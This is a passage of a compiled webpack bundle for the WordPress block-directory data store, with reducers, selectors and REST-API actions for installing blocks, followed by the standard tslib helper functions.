1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/******/ /* webpack/runtime/make namespace object */
37/******/ (() => {
38/******/ // define __esModule on exports
39/******/ __webpack_require__.r = (exports) => {
40/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
41/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
42/******/ }
43/******/ Object.defineProperty(exports, '__esModule', { value: true });
44/******/ };
45/******/ })();
46/******/
47/************************************************************************/
48var __webpack_exports__ = {};
49// ESM COMPAT FLAG
50__webpack_require__.r(__webpack_exports__);
51
52// EXPORTS
53__webpack_require__.d(__webpack_exports__, {
54 store: () => (/* reexport */ store)
55});
56
57// NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/selectors.js
58var selectors_namespaceObject = {};
59__webpack_require__.r(selectors_namespaceObject);
60__webpack_require__.d(selectors_namespaceObject, {
61 getDownloadableBlocks: () => (getDownloadableBlocks),
62 getErrorNoticeForBlock: () => (getErrorNoticeForBlock),
63 getErrorNotices: () => (getErrorNotices),
64 getInstalledBlockTypes: () => (getInstalledBlockTypes),
65 getNewBlockTypes: () => (getNewBlockTypes),
66 getUnusedBlockTypes: () => (getUnusedBlockTypes),
67 isInstalling: () => (isInstalling),
68 isRequestingDownloadableBlocks: () => (isRequestingDownloadableBlocks)
69});
70
71// NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/actions.js
72var actions_namespaceObject = {};
73__webpack_require__.r(actions_namespaceObject);
74__webpack_require__.d(actions_namespaceObject, {
75 addInstalledBlockType: () => (addInstalledBlockType),
76 clearErrorNotice: () => (clearErrorNotice),
77 fetchDownloadableBlocks: () => (fetchDownloadableBlocks),
78 installBlockType: () => (installBlockType),
79 receiveDownloadableBlocks: () => (receiveDownloadableBlocks),
80 removeInstalledBlockType: () => (removeInstalledBlockType),
81 setErrorNotice: () => (setErrorNotice),
82 setIsInstalling: () => (setIsInstalling),
83 uninstallBlockType: () => (uninstallBlockType)
84});
85
86// NAMESPACE OBJECT: ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js
87var resolvers_namespaceObject = {};
88__webpack_require__.r(resolvers_namespaceObject);
89__webpack_require__.d(resolvers_namespaceObject, {
90 getDownloadableBlocks: () => (resolvers_getDownloadableBlocks)
91});
92
93;// external "ReactJSXRuntime"
94const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
95;// external ["wp","plugins"]
96const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
97;// external ["wp","hooks"]
98const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
99;// external ["wp","blocks"]
100const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
101;// external ["wp","data"]
102const external_wp_data_namespaceObject = window["wp"]["data"];
103;// external ["wp","element"]
104const external_wp_element_namespaceObject = window["wp"]["element"];
105;// external ["wp","editor"]
106const external_wp_editor_namespaceObject = window["wp"]["editor"];
107;// ./node_modules/@wordpress/block-directory/build-module/store/reducer.js
108
109const downloadableBlocks = (state = {}, action) => {
110 switch (action.type) {
111 case "FETCH_DOWNLOADABLE_BLOCKS":
112 return {
113 ...state,
114 [action.filterValue]: {
115 isRequesting: true
116 }
117 };
118 case "RECEIVE_DOWNLOADABLE_BLOCKS":
119 return {
120 ...state,
121 [action.filterValue]: {
122 results: action.downloadableBlocks,
123 isRequesting: false
124 }
125 };
126 }
127 return state;
128};
129const blockManagement = (state = {
130 installedBlockTypes: [],
131 isInstalling: {}
132}, action) => {
133 switch (action.type) {
134 case "ADD_INSTALLED_BLOCK_TYPE":
135 return {
136 ...state,
137 installedBlockTypes: [
138 ...state.installedBlockTypes,
139 action.item
140 ]
141 };
142 case "REMOVE_INSTALLED_BLOCK_TYPE":
143 return {
144 ...state,
145 installedBlockTypes: state.installedBlockTypes.filter(
146 (blockType) => blockType.name !== action.item.name
147 )
148 };
149 case "SET_INSTALLING_BLOCK":
150 return {
151 ...state,
152 isInstalling: {
153 ...state.isInstalling,
154 [action.blockId]: action.isInstalling
155 }
156 };
157 }
158 return state;
159};
160const errorNotices = (state = {}, action) => {
161 switch (action.type) {
162 case "SET_ERROR_NOTICE":
163 return {
164 ...state,
165 [action.blockId]: {
166 message: action.message,
167 isFatal: action.isFatal
168 }
169 };
170 case "CLEAR_ERROR_NOTICE":
171 const { [action.blockId]: blockId, ...restState } = state;
172 return restState;
173 }
174 return state;
175};
176var reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
177 downloadableBlocks,
178 blockManagement,
179 errorNotices
180});
181
182
183;// external ["wp","blockEditor"]
184const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
185;// ./node_modules/@wordpress/block-directory/build-module/store/selectors.js
186
187
188const EMPTY_ARRAY = [];
189function isRequestingDownloadableBlocks(state, filterValue) {
190 return state.downloadableBlocks[filterValue]?.isRequesting ?? false;
191}
192function getDownloadableBlocks(state, filterValue) {
193 return state.downloadableBlocks[filterValue]?.results ?? EMPTY_ARRAY;
194}
195function getInstalledBlockTypes(state) {
196 return state.blockManagement.installedBlockTypes;
197}
198const getNewBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(
199 (select) => (0,external_wp_data_namespaceObject.createSelector)(
200 (state) => {
201 const installedBlockTypes = getInstalledBlockTypes(state);
202 if (!installedBlockTypes.length) {
203 return EMPTY_ARRAY;
204 }
205 const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store);
206 const installedBlockNames = installedBlockTypes.map(
207 (blockType) => blockType.name
208 );
209 const foundBlockNames = getClientIdsWithDescendants().flatMap(
210 (clientId) => {
211 const blockName = getBlockName(clientId);
212 return installedBlockNames.includes(blockName) ? blockName : [];
213 }
214 );
215 const newBlockTypes = installedBlockTypes.filter(
216 (blockType) => foundBlockNames.includes(blockType.name)
217 );
218 return newBlockTypes.length > 0 ? newBlockTypes : EMPTY_ARRAY;
219 },
220 (state) => [
221 getInstalledBlockTypes(state),
222 select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()
223 ]
224 )
225);
226const getUnusedBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(
227 (select) => (0,external_wp_data_namespaceObject.createSelector)(
228 (state) => {
229 const installedBlockTypes = getInstalledBlockTypes(state);
230 if (!installedBlockTypes.length) {
231 return EMPTY_ARRAY;
232 }
233 const { getBlockName, getClientIdsWithDescendants } = select(external_wp_blockEditor_namespaceObject.store);
234 const installedBlockNames = installedBlockTypes.map(
235 (blockType) => blockType.name
236 );
237 const foundBlockNames = getClientIdsWithDescendants().flatMap(
238 (clientId) => {
239 const blockName = getBlockName(clientId);
240 return installedBlockNames.includes(blockName) ? blockName : [];
241 }
242 );
243 const unusedBlockTypes = installedBlockTypes.filter(
244 (blockType) => !foundBlockNames.includes(blockType.name)
245 );
246 return unusedBlockTypes.length > 0 ? unusedBlockTypes : EMPTY_ARRAY;
247 },
248 (state) => [
249 getInstalledBlockTypes(state),
250 select(external_wp_blockEditor_namespaceObject.store).getClientIdsWithDescendants()
251 ]
252 )
253);
254function isInstalling(state, blockId) {
255 return state.blockManagement.isInstalling[blockId] || false;
256}
257function getErrorNotices(state) {
258 return state.errorNotices;
259}
260function getErrorNoticeForBlock(state, blockId) {
261 return state.errorNotices[blockId];
262}
263
264
265;// external ["wp","i18n"]
266const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
267;// external ["wp","apiFetch"]
268const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
269var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
270;// external ["wp","notices"]
271const external_wp_notices_namespaceObject = window["wp"]["notices"];
272;// external ["wp","url"]
273const external_wp_url_namespaceObject = window["wp"]["url"];
274;// ./node_modules/@wordpress/block-directory/build-module/store/load-assets.js
275
276const loadAsset = (el) => {
277 return new Promise((resolve, reject) => {
278 const newNode = document.createElement(el.nodeName);
279 ["id", "rel", "src", "href", "type"].forEach((attr) => {
280 if (el[attr]) {
281 newNode[attr] = el[attr];
282 }
283 });
284 if (el.innerHTML) {
285 newNode.appendChild(document.createTextNode(el.innerHTML));
286 }
287 newNode.onload = () => resolve(true);
288 newNode.onerror = () => reject(new Error("Error loading asset."));
289 document.body.appendChild(newNode);
290 if ("link" === newNode.nodeName.toLowerCase() || "script" === newNode.nodeName.toLowerCase() && !newNode.src) {
291 resolve();
292 }
293 });
294};
295async function loadAssets() {
296 const response = await external_wp_apiFetch_default()({
297 url: document.location.href,
298 parse: false
299 });
300 const data = await response.text();
301 const doc = new window.DOMParser().parseFromString(data, "text/html");
302 const newAssets = Array.from(
303 doc.querySelectorAll('link[rel="stylesheet"],script')
304 ).filter((asset) => asset.id && !document.getElementById(asset.id));
305 for (const newAsset of newAssets) {
306 await loadAsset(newAsset);
307 }
308}
309
310
311;// ./node_modules/@wordpress/block-directory/build-module/store/utils/get-plugin-url.js
312function getPluginUrl(block) {
313 if (!block) {
314 return false;
315 }
316 const link = block.links["wp:plugin"] || block.links.self;
317 if (link && link.length) {
318 return link[0].href;
319 }
320 return false;
321}
322
323
324;// ./node_modules/@wordpress/block-directory/build-module/store/actions.js
325
326
327
328
329
330
331
332function fetchDownloadableBlocks(filterValue) {
333 return { type: "FETCH_DOWNLOADABLE_BLOCKS", filterValue };
334}
335function receiveDownloadableBlocks(downloadableBlocks, filterValue) {
336 return {
337 type: "RECEIVE_DOWNLOADABLE_BLOCKS",
338 downloadableBlocks,
339 filterValue
340 };
341}
342const installBlockType = (block) => async ({ registry, dispatch }) => {
343 const { id, name } = block;
344 let success = false;
345 dispatch.clearErrorNotice(id);
346 try {
347 dispatch.setIsInstalling(id, true);
348 const url = getPluginUrl(block);
349 let links = {};
350 if (url) {
351 await external_wp_apiFetch_default()({
352 method: "PUT",
353 url,
354 data: { status: "active" }
355 });
356 } else {
357 const response = await external_wp_apiFetch_default()({
358 method: "POST",
359 path: "wp/v2/plugins",
360 data: { slug: id, status: "active" }
361 });
362 links = response._links;
363 }
364 dispatch.addInstalledBlockType({
365 ...block,
366 links: { ...block.links, ...links }
367 });
368 const metadataFields = [
369 "api_version",
370 "title",
371 "category",
372 "parent",
373 "ancestor",
374 "icon",
375 "description",
376 "keywords",
377 "attributes",
378 "provides_context",
379 "uses_context",
380 "selectors",
381 "supports",
382 "styles",
383 "example",
384 "variations",
385 "allowed_blocks",
386 "block_hooks"
387 ];
388 await external_wp_apiFetch_default()({
389 path: (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-types/${name}`, {
390 _fields: metadataFields
391 })
392 }).catch(() => {
393 }).then((response) => {
394 if (!response) {
395 return;
396 }
397 (0,external_wp_blocks_namespaceObject.unstable__bootstrapServerSideBlockDefinitions)({
398 [name]: Object.fromEntries(
399 Object.entries(response).filter(
400 ([key]) => metadataFields.includes(key)
401 )
402 )
403 });
404 });
405 await loadAssets();
406 const registeredBlocks = registry.select(external_wp_blocks_namespaceObject.store).getBlockTypes();
407 if (!registeredBlocks.some((i) => i.name === name)) {
408 throw new Error(
409 (0,external_wp_i18n_namespaceObject.__)("Error registering block. Try reloading the page.")
410 );
411 }
412 registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(
413 (0,external_wp_i18n_namespaceObject.sprintf)(
414 // translators: %s is the block title.
415 (0,external_wp_i18n_namespaceObject.__)("Block %s installed and added."),
416 block.title
417 ),
418 {
419 speak: true,
420 type: "snackbar"
421 }
422 );
423 success = true;
424 } catch (error) {
425 let message = error.message || (0,external_wp_i18n_namespaceObject.__)("An error occurred.");
426 let isFatal = error instanceof Error;
427 const fatalAPIErrors = {
428 folder_exists: (0,external_wp_i18n_namespaceObject.__)(
429 "This block is already installed. Try reloading the page."
430 ),
431 unable_to_connect_to_filesystem: (0,external_wp_i18n_namespaceObject.__)(
432 "Error installing block. You can reload the page and try again."
433 )
434 };
435 if (fatalAPIErrors[error.code]) {
436 isFatal = true;
437 message = fatalAPIErrors[error.code];
438 }
439 dispatch.setErrorNotice(id, message, isFatal);
440 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(message, {
441 speak: true,
442 isDismissible: true
443 });
444 }
445 dispatch.setIsInstalling(id, false);
446 return success;
447};
448const uninstallBlockType = (block) => async ({ registry, dispatch }) => {
449 try {
450 const url = getPluginUrl(block);
451 await external_wp_apiFetch_default()({
452 method: "PUT",
453 url,
454 data: { status: "inactive" }
455 });
456 await external_wp_apiFetch_default()({
457 method: "DELETE",
458 url
459 });
460 dispatch.removeInstalledBlockType(block);
461 } catch (error) {
462 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
463 error.message || (0,external_wp_i18n_namespaceObject.__)("An error occurred.")
464 );
465 }
466};
467function addInstalledBlockType(item) {
468 return {
469 type: "ADD_INSTALLED_BLOCK_TYPE",
470 item
471 };
472}
473function removeInstalledBlockType(item) {
474 return {
475 type: "REMOVE_INSTALLED_BLOCK_TYPE",
476 item
477 };
478}
479function setIsInstalling(blockId, isInstalling) {
480 return {
481 type: "SET_INSTALLING_BLOCK",
482 blockId,
483 isInstalling
484 };
485}
486function setErrorNotice(blockId, message, isFatal = false) {
487 return {
488 type: "SET_ERROR_NOTICE",
489 blockId,
490 message,
491 isFatal
492 };
493}
494function clearErrorNotice(blockId) {
495 return {
496 type: "CLEAR_ERROR_NOTICE",
497 blockId
498 };
499}
500
501
502;// ./node_modules/tslib/tslib.es6.mjs
503/******************************************************************************
504Copyright (c) Microsoft Corporation.
505
506Permission to use, copy, modify, and/or distribute this software for any
507purpose with or without fee is hereby granted.
508
509THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
510REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
511AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
512INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
513LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
514OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
515PERFORMANCE OF THIS SOFTWARE.
516***************************************************************************** */
517/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
518
519var extendStatics = function(d, b) {
520 extendStatics = Object.setPrototypeOf ||
521 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
522 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
523 return extendStatics(d, b);
524};
525
526function __extends(d, b) {
527 if (typeof b !== "function" && b !== null)
528 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
529 extendStatics(d, b);
530 function __() { this.constructor = d; }
531 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
532}
533
534var __assign = function() {
535 __assign = Object.assign || function __assign(t) {
536 for (var s, i = 1, n = arguments.length; i < n; i++) {
537 s = arguments[i];
538 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
539 }
540 return t;
541 }
542 return __assign.apply(this, arguments);
543}
544
545function __rest(s, e) {
546 var t = {};
547 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
548 t[p] = s[p];
549 if (s != null && typeof Object.getOwnPropertySymbols === "function")
550 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
551 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
552 t[p[i]] = s[p[i]];
553 }
554 return t;
555}
556
557function __decorate(decorators, target, key, desc) {
558 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
559 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
560 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
561 return c > 3 && r && Object.defineProperty(target, key, r), r;
562}
563
564function __param(paramIndex, decorator) {
565 return function (target, key) { decorator(target, key, paramIndex); }
566}
567
568function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
569 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
570 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
571 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
572 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
573 var _, done = false;
574 for (var i = decorators.length - 1; i >= 0; i--) {
575 var context = {};
576 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
577 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
578 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
579 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
580 if (kind === "accessor") {
581 if (result === void 0) continue;
582 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
583 if (_ = accept(result.get)) descriptor.get = _;
584 if (_ = accept(result.set)) descriptor.set = _;
585 if (_ = accept(result.init)) initializers.unshift(_);
586 }
587 else if (_ = accept(result)) {
588 if (kind === "field") initializers.unshift(_);
589 else descriptor[key] = _;
590 }
591 }
592 if (target) Object.defineProperty(target, contextIn.name, descriptor);
593 done = true;
594};
595
596function __runInitializers(thisArg, initializers, value) {
597 var useValue = arguments.length > 2;
598 for (var i = 0; i < initializers.length; i++) {
599 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
600 }
601 return useValue ? value : void 0;
602};
603
604function __propKey(x) {
605 return typeof x === "symbol" ? x : "".concat(x);
606};
607
608function __setFunctionName(f, name, prefix) {
609 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
610 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
611};
612
613function __metadata(metadataKey, metadataValue) {
614 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
615}
616
617function __awaiter(thisArg, _arguments, P, generator) {
618 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
619 return new (P || (P = Promise))(function (resolve, reject) {
620 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
621 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
622 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
623 step((generator = generator.apply(thisArg, _arguments || [])).next());
624 });
625}
626
627function __generator(thisArg, body) {
628 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
629 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
630 function verb(n) { return function (v) { return step([n, v]); }; }
631 function step(op) {
632 if (f) throw new TypeError("Generator is already executing.");
633 while (g && (g = 0, op[0] && (_ = 0)), _) try {
634 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
635 if (y = 0, t) op = [op[0] & 2, t.value];
636 switch (op[0]) {
637 case 0: case 1: t = op; break;
638 case 4: _.label++; return { value: op[1], done: false };
639 case 5: _.label++; y = op[1]; op = [0]; continue;
640 case 7: op = _.ops.pop(); _.trys.pop(); continue;
641 default:
642 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
643 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
644 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
645 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
646 if (t[2]) _.ops.pop();
647 _.trys.pop(); continue;
648 }
649 op = body.call(thisArg, _);
650 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
651 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
652 }
653}
654
655var __createBinding = Object.create ? (function(o, m, k, k2) {
656 if (k2 === undefined) k2 = k;
657 var desc = Object.getOwnPropertyDescriptor(m, k);
658 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
659 desc = { enumerable: true, get: function() { return m[k]; } };
660 }
661 Object.defineProperty(o, k2, desc);
662}) : (function(o, m, k, k2) {
663 if (k2 === undefined) k2 = k;
664 o[k2] = m[k];
665});
666
667function __exportStar(m, o) {
668 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
669}
670
671function __values(o) {
672 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
673 if (m) return m.call(o);
674 if (o && typeof o.length === "number") return {
675 next: function () {
676 if (o && i >= o.length) o = void 0;
677 return { value: o && o[i++], done: !o };
678 }
679 };
680 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
681}
682
683function __read(o, n) {
684 var m = typeof Symbol === "function" && o[Symbol.iterator];
685 if (!m) return o;
686 var i = m.call(o), r, ar = [], e;
687 try {
688 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
689 }
690 catch (error) { e = { error: error }; }
691 finally {
692 try {
693 if (r && !r.done && (m = i["return"])) m.call(i);
694 }
695 finally { if (e) throw e.error; }
696 }
697 return ar;
698}
699
700/** @deprecated */
701function __spread() {
702 for (var ar = [], i = 0; i < arguments.length; i++)
703 ar = ar.concat(__read(arguments[i]));
704 return ar;
705}
706
707/** @deprecated */
708function __spreadArrays() {
709 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
710 for (var r = Array(s), k = 0, i = 0; i < il; i++)
711 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
712 r[k] = a[j];
713 return r;
714}
715
716function __spreadArray(to, from, pack) {
717 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
718 if (ar || !(i in from)) {
719 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
720 ar[i] = from[i];
721 }
722 }
723 return to.concat(ar || Array.prototype.slice.call(from));
724}
725
726function __await(v) {
727 return this instanceof __await ? (this.v = v, this) : new __await(v);
728}
729
730function __asyncGenerator(thisArg, _arguments, generator) {
731 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
732 var g = generator.apply(thisArg, _arguments || []), i, q = [];
733 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
734 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
735 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
736 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
737 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
738 function fulfill(value) { resume("next", value); }
739 function reject(value) { resume("throw", value); }
740 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
741}
742
743function __asyncDelegator(o) {
744 var i, p;
745 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
746 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
747}
748
749function __asyncValues(o) {
750 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
751 var m = o[Symbol.asyncIterator], i;
752 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
753 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
754 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
755}
756
757function __makeTemplateObject(cooked, raw) {
758 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
759 return cooked;
760};
761
762var __setModuleDefault = Object.create ? (function(o, v) {
763 Object.defineProperty(o, "default", { enumerable: true, value: v });
764}) : function(o, v) {
765 o["default"] = v;
766};
767
768var ownKeys = function(o) {
769 ownKeys = Object.getOwnPropertyNames || function (o) {
770 var ar = [];
771 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
772 return ar;
773 };
774 return ownKeys(o);
775};
776
777function __importStar(mod) {
778 if (mod && mod.__esModule) return mod;
779 var result = {};
780 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
781 __setModuleDefault(result, mod);
782 return result;
783}
784
785function __importDefault(mod) {
786 return (mod && mod.__esModule) ? mod : { default: mod };
787}
788
789function __classPrivateFieldGet(receiver, state, kind, f) {
790 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
791 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
792 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
793}
794
795function __classPrivateFieldSet(receiver, state, value, kind, f) {
796 if (kind === "m") throw new TypeError("Private method is not writable");
797 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
798 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
799 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
800}
801
802function __classPrivateFieldIn(state, receiver) {
803 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
804 return typeof state === "function" ? receiver === state : state.has(receiver);
805}
806
807function __addDisposableResource(env, value, async) {
808 if (value !== null && value !== void 0) {
809 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
810 var dispose, inner;
811 if (async) {
812 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
813 dispose = value[Symbol.asyncDispose];
814 }
815 if (dispose === void 0) {
816 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
817 dispose = value[Symbol.dispose];
818 if (async) inner = dispose;
819 }
820 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
821 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
822 env.stack.push({ value: value, dispose: dispose, async: async });
823 }
824 else if (async) {
825 env.stack.push({ async: true });
826 }
827 return value;
828}
829
830var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
831 var e = new Error(message);
832 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
833};
834
835function __disposeResources(env) {
836 function fail(e) {
837 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
838 env.hasError = true;
839 }
840 var r, s = 0;
841 function next() {
842 while (r = env.stack.pop()) {
843 try {
844 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
845 if (r.dispose) {
846 var result = r.dispose.call(r.value);
847 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
848 }
849 else s |= 1;
850 }
851 catch (e) {
852 fail(e);
853 }
854 }
855 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
856 if (env.hasError) throw env.error;
857 }
858 return next();
859}
860
861function __rewriteRelativeImportExtension(path, preserveJsx) {
862 if (typeof path === "string" && /^\.\.?\//.test(path)) {
863 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
864 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
